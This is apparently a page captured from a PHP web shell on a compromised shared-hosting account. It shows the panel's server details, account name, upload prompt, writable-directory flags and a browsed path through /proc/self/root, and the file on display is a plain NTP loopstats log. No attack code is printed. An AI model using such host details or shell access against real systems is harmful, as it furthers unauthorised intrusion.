KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache
System : Linux cs317.bluehost.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : andertr9 ( 1047)
PHP Version : 8.2.18
Disable Function : NONE
Directory :  /proc/self/root/var/log/ntpstats/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/var/log/ntpstats/loopstats.20240717
60508 1632.643 0.000348187 3.120 0.000317078 0.030575 10
60508 3725.643 0.000236043 3.150 0.000299238 0.030508 10
60508 5818.643 0.000122398 3.165 0.000282781 0.029064 10
60508 7921.643 -0.000037807 3.160 0.000270513 0.027240 10
60508 9277.643 -0.000363403 3.159 0.000277996 0.025489 10
60508 11406.629 -0.000619295 3.081 0.000275330 0.036358 10
60508 12453.643 -0.000615668 3.079 0.000257551 0.034020 10
60508 13498.643 -0.000530143 3.076 0.000242807 0.031831 10
60508 14584.554 -0.000704631 3.074 0.000235354 0.029793 10
60508 16407.577 -0.000854965 3.068 0.000226479 0.027944 10
60508 17490.643 -0.001009560 3.064 0.000218789 0.026179 10
60508 19592.633 -0.001242150 2.906 0.000220561 0.060817 10
60508 19926.644 -0.000972394 2.905 0.000227294 0.056891 10
60508 21697.643 -0.000762520 2.900 0.000225190 0.053246 10
60508 22047.643 -0.000440631 2.899 0.000239423 0.049807 10
60508 24175.544 -0.000310243 2.861 0.000228655 0.048579 10
60508 25217.643 -0.000253082 2.860 0.000214839 0.045443 10
60508 27339.643 0.000007801 2.861 0.000221120 0.042509 10
60508 29096.643 0.000024449 2.861 0.000206923 0.039764 10
60508 30176.546 0.000253098 2.862 0.000209761 0.037197 10
60508 31215.643 0.000723903 2.865 0.000257307 0.034809 10
60508 33369.643 0.000638907 2.944 0.000242558 0.042965 10
60508 34437.605 0.000618687 2.946 0.000227005 0.040199 10
60508 35477.644 0.000635879 2.949 0.000212430 0.037613 10
60508 36502.571 0.000514836 2.951 0.000203266 0.035191 10
60508 37534.645 0.000418259 2.952 0.000193180 0.032923 10
60508 38581.547 0.000372183 2.954 0.000181436 0.030801 10
60508 40697.567 0.000354915 2.999 0.000169828 0.032865 10
60508 41770.643 0.000318829 3.000 0.000159371 0.030746 10
60508 43874.643 0.000336341 3.042 0.000149206 0.032466 10
60508 44911.580 0.000342362 3.044 0.000139586 0.030372 10
60508 47032.602 0.000275933 3.078 0.000132666 0.030948 10
60508 48110.554 0.000042951 3.079 0.000148947 0.028950 10
60508 49161.630 0.000051256 3.079 0.000139358 0.027080 10
60508 51304.643 0.000103024 3.092 0.000131636 0.025735 10
60508 53450.643 -0.000090385 3.080 0.000140848 0.024400 10
60508 55612.644 -0.000209937 3.054 0.000138365 0.024602 10
60508 57739.643 -0.000043514 3.049 0.000142176 0.023093 10
60508 58802.643 -0.000137137 3.048 0.000137050 0.021603 10
60508 59844.643 -0.000239209 3.047 0.000133181 0.020210 10
60508 61988.552 -0.000029112 3.044 0.000145044 0.018948 10
60508 63005.643 0.000168981 3.044 0.000152687 0.017726 10
60508 64029.602 0.000114352 3.045 0.000144125 0.016582 10
60508 64085.554 0.000176758 3.045 0.000136610 0.015511 10
60508 65066.635 0.000280207 3.046 0.000132918 0.014513 10
60508 66133.643 0.000297649 3.047 0.000124487 0.013582 10
60508 68252.544 0.000231640 3.076 0.000118762 0.016362 10
60508 69322.643 0.000243871 3.077 0.000111176 0.015309 10
60508 71408.643 0.000232913 3.107 0.000104068 0.017763 10
60508 72444.643 0.000269370 3.108 0.000098196 0.016619 10
60508 73515.643 0.000171349 3.109 0.000098174 0.015548 10
60508 74590.559 0.000095233 3.109 0.000095695 0.014544 10
60508 76713.582 0.000133634 3.126 0.000090539 0.014843 10
60508 78845.544 -0.000088787 3.115 0.000115571 0.014429 10
60508 79917.592 -0.000040899 3.115 0.000109424 0.013497 10
60508 82057.644 -0.000599404 3.040 0.000222414 0.029305 10
60508 84046.643 -0.000693865 3.035 0.000210713 0.027472 10
60508 85080.550 -0.000941589 3.031 0.000215687 0.025730 10
60508 86124.643 -0.000462909 3.029 0.000263339 0.024077 10

Anon7 - 2021